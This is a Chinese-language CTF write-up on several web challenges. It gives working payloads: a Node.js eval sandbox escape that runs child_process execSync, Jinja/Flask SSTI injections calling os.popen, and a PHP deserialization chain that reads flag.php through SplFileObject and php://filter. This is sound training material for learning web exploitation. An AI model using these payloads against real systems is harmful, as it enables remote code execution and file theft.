BUUCTF
[NPUCTF2020]验证🐎
1.进去source查看源码,首先就是/
路由的post请求,在这里我们需要绕过第一个if。ctfshow有道类似的题绕过是用数组来绕过的:?a[x]=1&b[x]=2
,我这里试了以后不行。后来才知道也可以用字符串和数组进行绕过。
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
2.node.js中'1'+'1' = '11' [1]+'1' = '11'
,利用这一特性就能绕过第一个if,采用json格式传递,{“e”:“1+41”,“first”:“1”,“second”:[1]};接下来就是正则表达式匹配问题了,如何通过构造payload来rce:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
3.一共有四部分,输入的第一部分匹配可能存在的Math Math.属性
,第二部分匹配一些符号包括()+\-*/&|^%<>=,?:
,第三部分匹配整数、浮点数和指数,第四部分匹配空格。也就是说这个正则的意思是:输入的字符串中只能匹配包含数字、规定的符号和空格,或者是以Math.开头的字符串,但是由于不匹配引号,也就是说只能用数学函数的数学运算,比如Math.random(1)
返回一个1范围内随机的浮点数。
4.一开始的想法是用jsfuck
编码来绕过的,可是符号中没有!,只能令寻它法。github上查询一下Math库中有哪些可以ascii转字符和拼接的方法,并没有发现有什么可以利用的。问了chat,它给出了一个字符串类型的方法,可是字符串String
也没有办法拼接。
如果需要将 ASCII 码转换回字符,可以使用
String.fromCharCode()
函数。
const ascii = 65;
const char = String.fromCharCode(ascii);
console.log(char); // 输出: A
5.看了wp学了新姿势,Node.js是无类的,所有函数的原型都是继承object的,String它也是个函数。其中也包括了一些String操作的方法,就比如刚刚的formCharCode(),它的构造函数是String()。
String.fromCharCode().constructor //String()
Math.constructor.constructor //Function()
String.constructor //Function()
6.我们要执行命令,那就需要Function(){return "global.process.mainModule.require('child_process').execSync('calc')"}
。可以这样构造Math.construtor.construtor(return String.fromCharCode(65,66,...))
。
7.然后就要解决String和return的问题,wp给出的解决方案是箭头函数+回调的形式来解决的,wp的payload:
(Math=>
(
Math=Math.constructor,
Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
)()
)
)(Math+1)
8.了解了回调函数和箭头函数就能分析明白了:首先从外往内看,第一层回调了参数为Math+1
的匿名函数,其中参数Math+1
实际上就是字符串"[object Math]1"
,又因为匿名函数函数体要用{}
这里没有,所以得用()
代替。到了第二层就是箭头函数体的内容,首先函数体用逗号分隔开代表的两个语句。
9.先看第一条语句Math = Math.constructor
。因为Math传入的是"[object Math]1"
,所以这里指的是String
的constructor
,狭义上也就是Math = function Function()
。再看第二条语句,又是一个回调Math.constructor()()
函数也就是Function()()
函数,该函数可以直接返回我们构造的"[object Math]1".formCharCode(...)
执行的值得到flag。
总结
1.总体来看这题还是不简单的,最难的部分是如何构造函数并返回命令执行的结果。这题用了回调+箭头函数的形式来构造payload,理解起来还是很难的。
2.光这道题就花了很久的时间,剩下的就没怎么看了
NSSCTF
[HNCTF 2022 WEEK2]ez_SSTI
1.看标题就是ssti,没有提示参数,一般都是默认为name
。
2.试了一下就是name,接下来就是简单的ssti注入了:?name={{config.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
[GDOUCTF 2023]反方向的钟
1.简单的pop链:
<?php
class teacher{
public $name;
public $rank;
private $salary;
function __construct(){
$this->name='ing';
$this->rank='department';
}
}
class classroom{
public $name;
public $leader;
public function __construct(){
$this->name='one class';
$this->leader=new teacher;
}
}
class school{
public $department;
public $headmaster;
public function __construct(){
$this->headmaster="ong";
$this->department=new classroom;
}
}
echo base64_encode(serialize(new school));
2.原生类利用,用SplFileObject
文件读取类,echo刚好能触发它的__tostring
方法,配合PHP协议将flag.php读取出来。
get:?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
post:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
[极客大挑战 2020]welcome
1.打开啥都没有,看描述得知要改请求方式,用post请求发现源代码,需要用sha比较绕过
roam1[]=1&roam2[]=2
2.在phpinfo中找到f1444aagggg.php
,访问是404,不用想,flag肯定在响应包中。
[NCTF 2018]Flask PLUS
1.打开发现404页面有东西,它会把不存在的文件名输出,在这里拼接路径ssti注入。
2.直接用lipsum模块,它是一个function不是class,所以引入全局变量不需要再__init__
初始化了,它的全局变量已经导入了os,剩下一些过滤用拼接绕过。
3.注意的是,popen被过滤了,那么用拼接直接用中括号代表键值就不需要再用小数点了,{{lipsum.__globals__['o''s']['po''pen']('cat /T*').read()}}